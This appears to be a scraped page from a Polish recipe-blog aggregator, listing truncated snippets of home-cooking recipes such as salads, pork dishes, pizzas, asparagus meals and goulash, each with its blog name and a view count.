składniki są łatwo dostępne i niedrogie. Ryż możecie zastąpić również makaronem. Polecam! Składniki (na ok. 6-7 porcji): 1 1/3 szklanki ryżu (białego lub brązowego) 2 puszki tuńczyka w sosie własnym 2-3 kiszone ogórki 1 puszka groszku konserwowego 1 duży pęczek szczypiorku (ew. 1 średnia, drobno posiekana cebula) sól pieprz Wykonanie: Ryż gotujemy według przepisu na opakowaniu

MyCookBook.pl
Prosta i szybka tarta wytrawna 215

przepisy lubię! Po drugie: robi wrażenie. To takie proste, a takie efektowne! W polskich domach nadal rzadko można spotkać wynalazki inne niż kotlet z ziemniakami, ryż czy makaron z sosem. Tym bardziej miło jest zaskoczyć gości czymś, czego nie jedzą na co dzień. Po trzecie: jest szybki. To przede wszystkim zasługa gotowego ciasta francuskiego. Najwięcej czasu – jak zwykle – zajmuje

Proste-przepisy.pl
Polędwiczki wieprzowe w sosie śmietanowo pieczarkowym. 224

Dziś proponuję klasyczne polędwiczki wieprzowe w sosie śmietanowym. Szybkie i smaczne... Polecam! Składniki; 40 dag polędwiczek wieprzowych 20 dag pieczarek 1 cebula sól, pieprz, przyprawa uniwersalna 3 łyżki śmietany 18 % zielony lubczyk 3-4 łyżki oleju 1 łyżka masła   Przygotowanie; Mięso myjemy i kroimy w centymetrowe plastry. Obsmażamy na łyżce oleju z każdej strony. Przekładamy do garnka o grubym

Radość kipiąca uśmiechem.
Młoda kapusta z koperkiem 132

żeby zasmażka nie wyszła za rzadka) i energicznie mieszając gotujemy na małym ogniu, aż zgęstnieje. Zasmażkę przekładamy do kapusty, dodajemy przyprawy, wszystko dokładnie mieszamy i gotujemy parę minut, aż sos lekko zgęstnieje

Kulinarne przygody Gatity
Zapiekanka cannelloni z mięsem i komosą 156

danie do niskokalorycznych nie należy ale jest smaczne i od czasu do czasu człowiek grzeszy. Makaron, nadzienie, sos i ser to uczta dla podniebienia. Wbrew pozorom danie nie jest trudne do przygotowania. Rozwiń i czytaj przepis

Ewa w kuchni
Zapiekany makaron z szynką i groszkiem 241

dosłownie przez chwilę. Następnie dodajemy jogurt naturalny i zdejmujemy z ognia. Na patelnię przekładamy makaron, całość mieszamy, doprawiamy odrobiną ostrej papryki, słodkiej papryki i pieprzu cayenne . Makaron wraz z sosem przekładamy do naczynia żaroodpornego i pieczemy w temperaturze 160 st. C przez ok. 15 minut. Smacznego! Tak przygotowany makaron będzie doskonale pasował zarówno na pyszny obiad, jak i kolację. Sprawdźcie

Kulinarnyblog.pl - wiesz jak gotować!
Makaron gryczany z szynką parmeńska, pomidorkami i rukolą 176

makaron gryczany, ryżowy... mamy praktycznie nieograniczone możliwości. Podczas ubiegłorocznych wakacji w Chorwacji zajadałam się tradycyjnym istryjskim makaronem z szynką dojrzewającą i rukolą. Bardzo podobało mi się, że makaron z sosem i z szynką były ciepłe, a rukola dodana na samym końcu, tuż przed podaniem była świeża i chrupiąca. Ostatnio podobne danie zrobiłam w domu - także dodając rukolę już na talerzu

Kulinarne Inspiracje
Kulisy fotografii kulinarnej: Jak robię zdjęcia jedzenia? 160

przed zrobieniem zdjęcia. W przypadku sałatek nie mieszam składników w misce, tylko w sposób przemyślany układam w naczyniu, w którym będę je fotografować. Tuż przed zrobieniem zdjęcia polewam sałatkę sosem i spryskuję mgiełką wody, aby wyglądała bardziej świeżo. Oczywiście nie wszystkie dania przygotowuję w dniu robienia zdjęć. Byłoby to niemożliwie ze względów logistycznych i nie zawsze koniecznie. Ciasta, placki, pasty

Chilli Czosnek i Oliwa
Sałatka z pomidorami i ciecierzycą 261

śniadanie Składniki 1 puszka ciecierzycy 1 puszka tuńczyka w kawałkach w sosie własnym 2 pomidory 1 zupka chińska szczypiorek 1 łyżka majonezu sól, pieprz Sposób przygotowania Makaron z zupki … Czytaj dalej Sałatka z pomidorami i ciecierzycą

czarrna od kuchni
Królik pieczony - klasyka Badylarki i "Moje córki krowy" 200

stopni. Królik jest gotowy, gdy mięso odchodzi od kości. Mięso dobrze się przechowuje w lodówce, jeśli nie zjecie go od razu. Następnego dnia można je odgrzać w garnku z sosem z pieczenia. Tak, jak napisałam na początku, aktualnym sezonowym dodatkiem do tego królika są szparagi, np. gotowane na parze i posypane solą morską. ----- Podobne: Pieczony królik maślany Królik w piwie

Weekendy w domu i ogrodzie
Hasło tygodnia - pizza. 148

kilku (nastu?) pizzerii i śmigających ulicami pizzowozów. I jakoś wciąż się to nie nudzi ;) No i dobrze - my też mamy okazję sprawdzić się w produkcji pizzowego ciasta i sosu i pobawić się w układanie na nim ulubionych składników. Zobaczymy, w którą stronę nas pociągnie - tradycyjną, klasyczną i ascetyczną, czy może fantazyjnie rozbuchaną? ;) (Mam swoje podejrzenia). PS Pamiętacie swoją pierwszą pizzę

zadanie-gotowanie
Tortille z aromatycznym ryżem, sosem aioli i wolno pieczonym indykiem 196

którego wam pokazałam we wcześniejszym wpisie? Ano np do pysznych tortilli, które mogą być jako kolacja albo drugie śniadanie do szkoły, czy pracy. Tortille nadziałam ryżem, mięsem, warzywami i sosem aioli. Wszystko razem to pyszne, syte połączenie. Spróbujcie. Czytaj więcej

Bernika - moj kulinarny pamietnik
3 powody, dla których warto jeść szparagi | Właściwości szparagów 197

zdrowe, smaczne i proste w przyrządzaniu. Z opinii znajomych wnioskuję, że wiele osób boi się ich przygotowywania, jednak zupełnie niepotrzebnie. Według mnie najlepsze szparagi to te ugotowane, podane z sosem holenderskim czy po prostu z masłem. Sezon na szparagi zaczął się już kilka tygodni temu, a potrwa jeszcze mniej więcej miesiąc, do końca czerwca. Właśnie teraz jest okres, w którym

Kuchnia Bazylii
Zapiekanka z ziemniaków z boczkiem 355

będzie szklista.  W mleku zmiksować mascarpone z jajkami i doprawić dosyć pikantnie do smaku. Naczynie żaroodporne wysmarować masłem. Układać warstwami ziemniaki i podsmażony boczek z cebulką. Całość zalać sosem mleczno jajecznym. Na górze posypać wiórkami masła.Włożyć do nagrzanego piekarnika na 200 stopni góra-dół i zapiekać około 30-40 minut aż ziemniaki się zrumienią. Po wyjęciu przed podaniem

Ala piecze i gotuje
Czarna świnia iberyjska – cerdo iberico. Karkówka 312

móc prawidłowo wysmażyć tłuszcz. Druga obowiązkowa przyprawa – hiszpańska wędzona papryka. Czy to słodka, czy półostra – wybór należy do Was. Ja swoje kotlety natarłam papryką półostrą i podałam z ostrymi sosami. Kotlety smażymy na patelni grillowej rozgrzanej do czerwoności, bez dodatkowego tłuszczu. Patelnia musi być piekielnie gorąca. Kotlet musi od razu skwierczeć i mięso musi od razu się zamknąć. Smażymy kotlety

Karo in the Kitchen
Letnia sałatka z gruszką i rukolą 173

Składniki dla 4 osób: - 10 dag liści rukoli - kilka plastrów fety, ok. 5 dag - 1 duża twarda gruszka - orzechy pekan lub włoskie, wystarczy jedna garść - 1 łyżka dobrego masła Sos: - 1/2 szklanki oliwy extra virgin - 3 łyżeczki soku z cytryny -  szczypta soli - 1 łyżeczka musztardy - 2 łyżeczki miodu, dodałam spadziowy - pieprz 1. Gruszkę dobrze umyć, przeciąć wzdłuż na połowę

Apetyczna babeczka
Krokiety z chleba tostowego z szynką i serem 3388

jajku, a następnie otaczać w bułce tartej. Smażyć na rozgrzanym oleju, z każdej strony, na złoty kolor (najpierw złączeniem u dołu, by krokiety się nie rozpadły). Podawać , np. z sosem czosnkowym . Smacznego! The post Krokiety z chleba tostowego z szynką i serem appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Sałatka z kalafiorem 273

osolonej wodzie, ostygnięty i podzielony na kawałki kalafior. Pokrojone w kostkę pomidory. Obrany, pokrojony w kostkę ogórek. Pokrojona w kostkę cebula. Odsączona kukurydza. Pokrojony w kostkę ser feta. Sos: wyciśnięte ząbki czosnku wymieszane z jogurtem naturalnym, solą i pieprzem. Posiekany koperek. Uprażone na suchej patelni ziarna słonecznika i pestki dyni, dobrze ostygnięte. Smacznego

W kuchni u Moniki
Rybna zapiekanka 171

minut – a w zasadzie do momentu aż wierzch lekko się zrumieni . Rybna zapiekanka gotowa " class="wp-smiley" style="height: 1em; max-height: 1em;" /> . Doskonale smakuje podana z sosem beszamelowym lub cytrynowym , ale sprawdza się także tzatzyki . Smacznego " class="wp-smiley" style="height: 1em; max-height: 1em;" />   Post Rybna zapiekanka pojawił się poraz pierwszy w Ogrodnik w podróży

Ogrodnik w podróży
Gulasz wieprzowy z pomidorami i bazylią (z boczku) 212

www.facebook.com/Di.gotuje http://digotuje.blogspot.com    Przepis autorski (mój). Sos robi się podobnie jak do spaghetti bolognese, które w moim domu jest bardzo lubiane.  Jednak odkąd zrobiłam ten gulasz... Cóż, jednym słowem jest pyszny i świetnie połączony smakowo! Zawsze kiedy robię dania z pomidorami - musi być w nich bazylia. Nieważne świeża, czy suszona, ale jej dodatek jest obowiązkowy. Dlatego

Di gotuje
Ziołowa sałatka ze szparagami 167

szparagi z sadzonymi jajkami makaron pełnoziarnisty ze szparagami omlet z zielonymi szparagami i pieczarkami risotto z białymi szparagami pizza z zielonymi szparagami sałatka ze szparagami i mozzarellą makaron z sosem szparagowym tarta ze szparagami i pomidorami najprostsza tarta z zielonymi szparagami tarta z zielonymi szparagami wiosenna sałatka ze szparagami tagliatelle ze szparagami frittata: szparagi, papryka szparagi z sezamem frittata

Kulinarne przygody Gatity
Popularne surówki do grilla 267

Sezon grillowy w pełni, spotkanie przy grillu ze znajomymi to czysta przyjemność i doskonała zabawa. Jednak oprócz takich rarytasów na grillu jak karkówki , kaszanki, kiełbasy, warto

Kulinarnyblog.pl - wiesz jak gotować!
Schab po bałkańsku 192

smażymy schab pokrojony w plastry. Dodajemy kolejno pokrojone warzywa: cebulę zwykłą i dymkę, pieczarki, paprykę, ogórki, pomidory, czosnek oraz przyprawy, podlewamy bulionem. Mieszamy i dusimy do miękkości, czekamy aż sos się zredukuje. Doprawiamy do smaku, podajemy posypane zieleniną

Apetyczna babeczka
Surówka ze szparagami i truskawkami z szampańsko-waniliowym winegretem 189

Szparagi i truskawki to najsmaczniejszy majowy duet. Szparagi z pysznym, dietetycznym, balsamicznym sosem truskawkowym prezentowałam  tutaj . Dzisiaj również szparagi w wybornym towarzystwie truskawek, ale na surowo. Cienkie, skośnie pocięte plasterki szparagów z plasterkami truskawek, a wszystkie skropione szampańskim winegretem z dodatkiem wanilii i chrupiących orzeszków pinii. Prawdziwa uczta smaków! Jeśli pominiesz wino musujace i dodatek wanilii, a użyjesz tradycyjnego

Gotuj zdrowo!Guten Appetit!
Tuńczyk w pomidorach z selerem naciowym 203

wspólnego, błyskawicznego pichcenia zapraszam na bloga Da yliCooking - Codzienna kuchnia niecodzienna . Składniki na 2 porcje: 1/3 paczki świderków orkiszowych od MAKARONY POLSKIE [około 130g] 1 puszka tuńczyka rozdrobnionego w sosie własnym 1 puszka pomidorów krojonych bez skórki 1 łodyga selera naciowego 2 ząbki czosnku - duże 1 cebula - mała 1 łyżeczka oliwy z oliwek - do smażenia sól, pieprz czarny, zioła prowansalskie

Grunt to przepis!
pierogi z pokrzywą i serem feta 210

środku każdego krążka kładziemy farsz, zlepiamy brzegi, wrzucamy na gotującą się osoloną wodę. Gotujemy ok. 2- 3 min. od wypłynięcia pierogów na powierzchnię. Podajemy okraszone domowym masłem klarowanym lub sosem

Domowy Smak Jedzenia
Cukinia z cieciorką na ostro 141

Cukinia i ciecierzyca to znakomite połączenie a jeśli zanurzymy je w wyśmienitym sosie to obiad będzie pyszny i pożywny. Zachęcam do wypróbowania tego przepisu. Danie jest aromatyczne, treściwe i szybko się je robi. Cukinia z cieciorką na ostro. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
8 propozycji na śniadanie. Przepisy śniadaniowe. 233

coś dla siebie. Spróbujcie: Wiosenna owsianka z musem z kiwi Nocna owsianka z owocami, chia, ziarenkami i żurawiną Grillowana tortilla z kabanosem i dodatkami Tortilla z prażoną cebulką, wędliną, sosem czosnkowym i zielonymi dodatkami Serowo-jogurtowe placuszki śniadaniowe (light) Delikatne jabłkowe placuszki z kaszy manny Kokosowy omlet z figą Tosty z patelni w ziołach i ziarenkach Smacznego i miłego dnia

Słodkie okruszki
Pieczarki zapiekane w cieście ziemniaczanym 274

piekarnika i na wierzch każdej zapiekanki nakładamy odrobinę masła. Ponownie wstawiamy do piekarnika. Upieczone wyjmujemy z piekarnika a po 2-3 minutach z foremek. Bardzo dobrze smakują z sosem czosnkowym i dowolną surówką. Smacznego

Maminek kulinarny
Filet z dorsza z białymi szparagami w ziołowym sosie serowym 192

pasują do delikatnego, wyśmienitego mięsa dorsza. Na pocieszenie mogę powiedzieć, że do tych ostatnich jeszcze powrócę. A tymczasem zapraszam na filet z dorsza w towarzystwie białych szparagów i ziołowego sosu serowego. Prosto a jednocześnie wykwitnie.” Czytaj więcej

Wiem co jem
Gulasz cielęcy z pieczarkami 217

też pomidory z puszki i przeciśnięty przez praskę czosnek oraz liść laurowy, ziele angielskie i ziarna pieprzu. Solimy do smaku. Dusimy na małym ogniu około 5 minut często mieszając. Sos gulaszowy zgęstnieje w tym czasie za sprawą obsmażonej na mięsie mąki. Do gulaszu wlewamy wino i często mieszając dusimy gulasz aż do całkowitej miękkości mięsa (około 40 minut

Trzeci talerz
Tort z ciasta francuskiego ze szparagami i łososiem wędzonym (Torta di pasta sfoglia con asparagi, salmone affumicato e ricotta) 183

proponuj ę  Wam przepyszny i wyrazisty w smaku tort z ciasta francuskiego w sosie z ricotty ze szparagami i  wędzonym  łososiem. Smacznego :) SKŁADNIKI 500 gr szparagów 400 gr ricotty 100 gr  wędzonego  łososia 30 gr parmezanu 2 opakowania ciasta francuskiego s ó l, pieprz     PRZYGOTOWANIE Szparagi po umyciu, usunięciu suchych

La grande e la piccola cuoca
Święto "małej czarnej" w Trójmieście - KAWA FESTIVAL - Alternatywnie 2016 i Espresso 2015 230

ywało niemal po talerzu. Całość miała być niby dope łniona jakimś czerwonym owocem dla kontrastu smaku - ale szukać go trzeba by ł o z lupą. Na wierzch sos , który nie wyglądał ani zachęcająco, ani apetycznie. Wszytko nieprzyjemnie ciepłe , zamiast porz ą dnie schłodzone. T otalna klapa! A szkoda, bo bywam tu czasem skorzystać ze standardowego menu i jestem zwykle mocno

Grunt to przepis!
Kopytka 274

masełkiem lub skwarkami czy też zrumienioną cebulką. Dobre są też odsmażane same lub z jajkiem. Podobnie jak kluski śląskie stanowią idealny dodatek do wszelkich gulaszy oraz mięs duszonych w sosie. składniki: 1 kg ugotowanych ciepłych ziemniaków 2 szklanki mąki pszennej + do podsypania 2 jajka 1 łyżka mąki ziemniaczanej ( niekoniecznie) Ugotowane jeszcze ciepłe ziemniaki przepuścić przez praskę i zostawić aby całkowicie

Monia miesza i gotuje
5 razy fit śniadania 177

pory często pojawiały się w wersji z otrębami orkiszowymi lub pszennymi. Ostatnio zaczęłam kombinować z mąką i też wychodzą mega. Z owocami, czy bez, polane jogurtem czy sosem - spakowane do lunchboxa na zimno też boskie. OWSIANKA Jest idealna: szybka w przygotowaniu (10 minut wystarczy), można do niej użyć ulubionych płatków, dodatków, owoców i komponować ją na milion sposób. OMLET

Tetiisheri
Przysmaki chińskiej kuchni w pigułce 214

często pojawiają się na chińskich stołach. Szczególnym powodzeniem cieszą się przepisy na dania, w których pojawia się mięso smażone z warzywami. Popularne są też mięsa duszone, podawane w aromatycznych sosach. Wybór takich dań jest ogromny. Nie zmienia to jednak faktu, że najpopularniejszą potrawą związaną z chińską kuchnią jest kaczka po pekińsku. Warte spróbowania są też ryby (zarówno te smażone

Codogara
Kluski śląskie 164

Kluski śląskie najlepiej smakują polane mięsnym sosem, stopionym masłem lub podane z przesmażoną na złoty kolor cebulą. Czytaj więcej

Przepisy Kulinarne
Świąteczny schab pieczony 234

najlepiej na dobę. Po tym czasie wyjmujemy z lodówki, czekamy troszkę aby mięso odpoczęło. W tym czasie nastawiamy piekarnik na 180-200 stopni, schab wkładamy do foliowego rękawa, wlewamy sos z wody i oleju. Ściśle sznurujemy i wkładamy do piekarnika na 1,5 godziny. Po tym czasie studzimy oraz wkładamy do lodówki. Schab nadaje się zarówno jako danie obiadowe

Kocham Czekoladę
Świąteczna karkówka pieczona 224

najlepiej na dobę. Po tym czasie wyjmujemy z lodówki, czekamy troszkę aby mięso odpoczęło. W tym czasie nastawiamy piekarnik na 180-200 stopni, karkówkę wkładamy do foliowego rękawa, wlewamy sos z wody i oleju. Ściśle sznurujemy i wkładamy do piekarnika na 1,5 godziny. Po tym czasie studzimy oraz wkładamy do lodówki

Kocham Czekoladę
Pizza z szynką 203

pizzę. Później, przygotować papier do pieczenia o wymiarach zbliżonych do blachy i przy pomocy dłoni dokładnie rozprowadzić po całej jego powierzchni łyżkę oliwy. Na rozłożone ciasto w kolejności układamy: sos pomidorowy/ketchup, pieczarki z cebulą i szynką, ser. Nagrzaną blachę ostrożnie wyciągnąć i zsunąć papier z pizzą na blachę. Pizzę piec w piekarniku rozgrzanym do 240st C (z termoobiegiem) około

Kocham Czekoladę
Pizza z kurczakiem i szynką 200

pizzę. Później, przygotować papier do pieczenia o wymiarach zbliżonych do blachy i przy pomocy dłoni dokładnie rozprowadzić po całej jego powierzchni łyżkę oliwy. Na rozłożone ciasto w kolejności układamy: sos pomidorowy/ketchup, pieczarki z cebulą i szynką, ser. Nagrzaną blachę ostrożnie wyciągnąć i zsunąć papier z pizzą na blachę. Pizzę piec w piekarniku rozgrzanym do 240st C (z termoobiegiem) około

Kocham Czekoladę
Pizza z szynką szwarcwaldzką i wędzonym serem 243

pizzę. Później, przygotować papier do pieczenia o wymiarach zbliżonych do blachy i przy pomocy dłoni dokładnie rozprowadzić po całej jego powierzchni łyżkę oliwy. Na rozłożone ciasto w kolejności układamy: sos pomidorowy/ketchup, pieczarki z cebulą, szynkę pokrojoną w cienkie plasterki, ser. Nagrzaną blachę ostrożnie wyciągnąć i zsunąć papier z pizzą na blachę. Pizzę piec w piekarniku rozgrzanym do 240st

Kocham Czekoladę
Babeczki na słono 191

łyżki koncentratu pomidorowego przyprawy: 1/2 łyżeczki : chilli,czosnku granulowanego,papryki słodkiej,pieprzu czarnego soli lub 1 łyżka vegety naturalnej olej do smaenia Dododatkowo można podawać gotowe babeczki z sosem TU SPOSÓB PRZYGOTOWANIA:   Przygotowujemy foremki ok 12 sztuk Ciasto dzielimy na kwadraty ok 12 sztuk. Następnie wklładamy do foremek na muffinki.   Między czasie  przygotowujemy mięso. Na rozgrzany olej

Gotowanie Patki
Spaghetti z kurczakiem, szparagami i cukinią w sosie orientalnym 311

Pyszne, proste i szybkie w przygotowaniu danie obiadowe. Orientalny sos śmietanowy świetnie łączy się z kurczakiem, cukinią i szparagami. SKŁADNIKI 2 małe piersi z kurczaka oliwa 500 g białych szparagów 1 łyżeczka cukru 1 cukinia 200 g śmietany 30% 400 g makaronu (u mnie pełnoziarnisty) przyprawy: sól, pieprz, curry, kurkuma, gałka muszkatołowa WYKONANIE Piersi z kurczaka umyć, pokroić w kostkę

Passions hobbies life
Szaszłyczki owocowe. 175

wszystkie (jak się okazuje) lubią owoce w naturalnej formie. Zaopatrzmy się w wielobarwny kosz owoców, paczkę patyczków i zestaw pomysłów na połączenia kolorów. Przygotujmy w kubkach kilka sosów do maczania naszych szaszłyczków: rozpuszczona czekolada, bita śmietana, krem karmelowy, mus truskawkowy... a może jogurt? Eksperymenty (mniej lub bardziej udane) to istota szaszłyczkowej zabawy :) Jakiś czas temu Marzena wspomniała o zbliżających się

zadanie-gotowanie
Sałatka ze szparagami, awokado, jajkiem w koszulce, parmezanem i ziołowym dressingiem 147

łyżką wir. W sam środek wiru wlewam jajko i gotuję przez 1,5 minuty. Wyławiam jajko łyżką cedzakową. Awokado kroję w plastry. Składniki dressingu ucieram w moździerzu na gładki sos. Na talerzu układam plastry szparagów oraz główki szparag. Całość posypuję otartym parmezanem, układam pokrojone awokado i ugotowane jajko w koszulce. Całość polewam dressingiem. Smacznego, Klaudia

Mango Papaja
całkiem inny śledź po cygańsku 170

śledzie w cygańskim sosie Dania ze śledzi to jedne z mych ulubionych potraw, dlatego dziś przedstawię kolejną propozycje podania, tej niezwykle smacznej i zdrowej ryby. składniki 300 g filetów śledziowych z solnej zalewy 1 cebula 1 niewielki por 1 czerwona papryka 2 łyżki koncentratu pomidorowego 1 łyżeczka musztardy 1 łyżka miodu 6 łyżek dobrego oleju szczypta pieprzu

Miód i pieprz
Makaron z karkówką, szparagami i grzybami / Pork sparagus and mushroom pasta 196

dniu, kiedy nie chcemy spędzać dużo czasu nad garami. Pyszny makaron (u mnie kokardki ale można przygotować inny ulubiony) z pieczoną karkówką, szparagami, pieczarkami i pomidorkami koktajlowymi, w delikatnym sosie z mascarpone i parmezanu. Zamiast pieczonej karkówki (miałam akurat pod ręką) można użyć innych mięsnych resztek z obiadu, lub zwyczajnie podsmażyć pierś z kurczaka. Polecam! Scroll down for recipe

karmelowy
Grillowane warzywa 152

pieprz Przygotowanie : Olej wymieszać z oregano i pieprzem. Warzywa pokroić na dowolne kawałki i posolić. Wymieszać z olejem i odstawić na 15 minut. Grillować 7-8 minut. Podawać z sosem jogurtowym bądź czosnkowym

Magiczne Życie Marty
Bitki z karkówki duszone z pieczarkami i koperkiem 318

plastry. Dodaję do mięsa. Koper drobno siekam i także dodaję do bitek. Duszę kolejne 15 minut.  3.Śmietany mieszam razem z musztardą. Dodaję do mięsa. Gotuję 5 minut. Sos doprawiam do smaku solą oraz pieprzem. Bitki podaję z ziemniakami i sałatką Ukraińską z zielonych pomidorów ORZECH.  Bitki podałam z sałatką Ukraińską z zielonych pomidorów, którą otrzymałam do testowania

Tradycyjna kuchnia Kasi
gulasz z szynki z czosnkiem niedźwiedzim i papryką słodką... 220

mięsem podsmażać z 10 minut co jakiś czas mieszając, wlać wodę i pod przykryciem dusić do miękkości mięsa śmietanę wymieszać z mąką, wodą i wlać do mięsa zagęszczając sos, wsypać czosnek niedźwiedzi, doprawić przyprawą w płynie - gulasz jest pyszny do kaszy, ryżu, ziemniaków, makaronu................SMACZNEGO

W Mojej Kuchni Lubię
Jedzonko do pracy #49 203

coś jeść i zdecydowanie lepiej przygotować sobie coś w domu niż wydawać pieniądze na niezbyt zdrowe przekąski. Zapraszam na lekki, wiosenny zestaw;)  Śniadanie : Orientalny omlecik (z dodatkiem chilli, sosu sojowego, dymki, czosnku i cukru). Lunch : Makaron ze szparagami i zielonym groszkiem (nieco uproszczony przepis na wiosenne farfalle ) Przekąska : Pomidorki koktajlowe i winogrono Smacznego

Codzienne Gotowanie
Smażony makaron z kurczakiem w chińskim sosie 249

filet z kurczaka 1 pojedynczy kiełki sojowe 1 słoik grzyby mun 1 garść kapusta biała 2 garści przyprawa orientalna … Czytaj dalej Smażony makaron z kurczakiem w chińskim sosie

czarrna od kuchni
Najłatwiejsza surówka obiadowa z kwaszonych ogórków 246

jakie znam. Polecam Wam surówkę obiadową z kwaszonych ogórków. Przygotowanie takiej zielonej miseczki nie zajmie Wam dużo czasu. Surówka z kwaszonych ogórków smakuje najlepiej w towarzystwie kotletów lub mięsnych sosów. Jest idealna dla zabieganych (takich jak ja ostatnio). Jeśli jeszcze jej nie próbowaliście, to szczerze Wam ją polecam. Ja ją uwielbiam. Może dlatego, że prost przepadam za kwaszonymi ogórkami

Słodkie okruszki
50 przepisów z zielonymi warzywami 172

zachować wszystkie jej właściwości zdrowotne? Z czym połączyć szpinak? Odpowiedzi na te pytania znajdziesz w zestawieniu najlepszych przepisów z zielonymi warzywami! Na zdrowie! Botwinka z cukinią w delikatnym sosie   Brokułowe pesto na sałatce z zielonej soczewicy Brokułowo-jajeczna sałatka z majonezem Bruschetta z cukinią i hokkaido Bukiet sałat z brokułami i jajkiem Chrupiąca sałatka z rukoli, z brokułami Cytrusowa

Moja smaczna kuchnia
Bulion Warzywny-Szybki i Łatwy 162

Podstawą wielu zup,sosów jest bulion.Dziś przedstawię Wam Mój sposób na dobry bulion warzywny.  SKŁADNIKI: 2.5 litry zimnej wody  2 Obrane Marchewki 3-4 Łodygi Selera Naciowego ( z natką) 3 Liście Laurowe 4-5 ziaren Ziela Angielskiego Po 1 łyżeczce: papryki słodkiej,czosnku, Po 1 łyżce: pieprzu czarnego,soli lub 2 Łyżki vegety naturalnej.  SPOSÓB PRZYGOTOWANIA

Gotowanie Patki
Paluchy pizzowe z ciasta francuskiego 837

Bardzo prosta trzyskładnikowa przekąska. Składniki: -ciasto francuskie -sos pomidorowy  (gotowy ze słoika, domowy z pomidorów w puszce, przecier pomidorowy lub po prostu keczup) -ser żółty

Ditecz
Sałatka z ryżem i tuńczykiem 184

której bazą jest ryż i tuńczyk. Pozostałe składniki, to moja improwizacja. Efekt ciekawy smakowo i wzrokowo. Zapraszam. SKŁADNIKI 2 torebki  ryżu białego  1 puszka tuńczyka w sosie własnym 1 puszka kukurydzy 1 pęczek szczypiorku 2 średnie pomidory 2 średnie ogórki 1papryka sól, pieprz 2  łyżki majonezu WYKONANIE Ryż gotujemy tak , by się nie sklejał. Studzimy. Mieszamy

W kuchennym oknie Ewy
Kuchnie świata: frittata ze szparagami, rukolą i suszonymi pomidorami 153

nagrzanego na 180 stopni i pieczemy 30 minut. Frittatę ze szparagami podajemy jako danie główne lub przekąskę. Smakuje na ciepło i na zimno. Do frittaty można podać  domowy sos pomidorowy . Sezon na szparagi w pełni, dlatego polecam też inny przepis na te smaczne warzywa: Szparagi zapiekane z serem

My Chcemy Jeść
Dorsz we kokosie (Z bananowym sosem ;) ) 176

olej 4 gotowe 5 zaraz 6 jej 7 goście 8 udławić 9 rzadkie 10 dorzućcie 11 wysypcie 12 przyrumieni 13 gotowe 14 zjeść Artykuł Dorsz we kokosie (Z bananowym sosem ;) ) pochodzi z serwisu Chop w kuchni

Chop w kuchni
Grillowany czosnkowy filet 228

Szybki i aromatyczny Składniki filet z kurczaka 1 pojedynczy marynata: czosnek 2 ząbki sos chili 2 łyżki sól czubrica czerwona Sposób przygotowania Fileta przekroić na dwa kotlety, lekko rozbić, natrzeć … Czytaj dalej Grillowany czosnkowy filet

czarrna od kuchni
Placuszki warzywne z ziołami 144

Doprawiamy pieprzem (sporo) i solą. Mieszamy dokładnie. Smażymy małe placki na średnim ogniu (brzegi będą przypieczone i chrupiące). Usmażone przekładamy na papierowy ręcznik żeby odsączyć nadmiar tłuszczu. Podajemy z sosem jogurtowym (ja podalam z czosnkowo-koperkowym

kuchnia doski
Mini focaccia z czerwoną cebulą i oliwkami. 175

Dzisiaj zapraszam Was do Włoch ;-) foccaccia to rodzaj pieczywa będącego podstawą pizzy jednak bez sosu pomidorowego i sera , natomiast  z ziołami, oliwkami, solą morską czy innymi smacznymi dodatkami... Składniki; 35 dag mąki pszennej pół łyżeczki soli 3 dag drożdży świeżych 2 łyżki oliwy 250 ml. wody 2-3 łyżki krojonych oliwek ( mogą być zielone lub czarne)   Wierzch

Radość kipiąca uśmiechem.
Udka z kurczaka zawinięte w boczek 224

Mięso skrapiam olejem. Na udkach rozkładam kawałki masła.  Naczynie przykrywam. 2. Udka piekę 1 godzinę 20 minut w temperaturze 180 stopni. W czasie pieczenia udka kilkakrotnie polewam wytworzonym sosem, a 5 minut przed końcem pieczenia odkrywam naczynie, aby boczek się zarumienił

Tradycyjna kuchnia Kasi
Cukinie zapiekane z kaszą 213

wersję z mięsem proponuję zamiast farszu z serem zrobić farsz z mięsem mielonym. Może być wg tego przepisu na pulpety. Cukinie z farszem serowym można zaostrzyć polewając je ulubionym sosem np. keczupem :) A jeśli kaszę jaglaną zastąpimy kaszą kuskus, wtedy uda się nam szybciej przygotować całe danie. Odgrzewane na drugi dzień cukinie jak dla mnie były jeszcze smaczniejsze niż zaraz

Proste Potrawy
Bezglutenowa pizza wegetariańska :) 184

pomysłu na obiad zrób sobie pizzę :D U mnie sprawdza się to idealnie! Pyszny placek, tym razem bezglutenowy, chrupiący, nieco przypieczony, a na wierzchu mnóstwo warzyw połączonych ze sobą sosem pomidorowym. Mimo, że jest to pizza to nie ma co się martwić, że jemy niezdrowo! Ta poniższa to wręcz samo zdrowe! Dużo warzyw, mało tłuszczu, zero cukru i brak glutenu

Zdrowie na języku :P
Kotlety selerowe mojej mamy, Dara Kebab 189

iść do Dary (ul. Grunwaldzka lub Rynek).  Bar serwuje głównie kebaby mięsne. Oprócz falafli, dla wegetarian znajdą się tutaj sałatki. Falafel jest bardzo smaczny: 3 kotlety, dużo surówek, sos (do wyboru: mieszany, ostry, łagodny). Wszystko zawinięte w cieście. Cena: 7 zł.  S makuje dobrze z ajranem (turecki napój, przygotowywany z jogurtu naturalnego i wody, który można kupić

Qlinarnie i Qlinarnie
Placki z cukinii 304

www.facebook.com/Di.gotuje http://digotuje.blogspot.com Placki smakują rewelacyjnie - są takie delikatne i aromatyczne. Idealnie komponują się z dowolnym sosem lub surówką ze świeżych warzyw. Osobiści wolę je od klasycznych ziemniaczanych.  (około 15 sztuk) 1 cukinia 2 jajka 3-4 łyżki mąki pszennej (czubate) 1 cebula (mała) 1-2 ząbki czosnku suszona bazylia sól, pieprz Dodatkowo: olej do smażenia Umytą cukinię

Di gotuje
Kokosowy Kurczak z Makaronem - Szybki Obiad 282

Przepis na Pysznego Kurczaka z Makaronem w sosie Kokosowo - Żurawinowym. Szybki pomysł na pyszny Obiad. KLIKNIJ i ZOBACZ PRZEPIS - SKŁADNIKI - -KOKOSOWY KURCZAK- ✔  500 g PIERSI Z KURCZAKA ✔  PIEPRZ CYTRYNOWY ✔  300 g MAKARONU ✔  400 g MLECZKA KOKOSOWEGO ✔  150 g ŻURAWINY ✔  OLEJ KOKOSOWY(do smażenia) ZDJĘCIA Z PLANU

Sylwetka Od Kuchni
Gjuwecz z mięsem wołowym, czyli gulasz inaczej 221

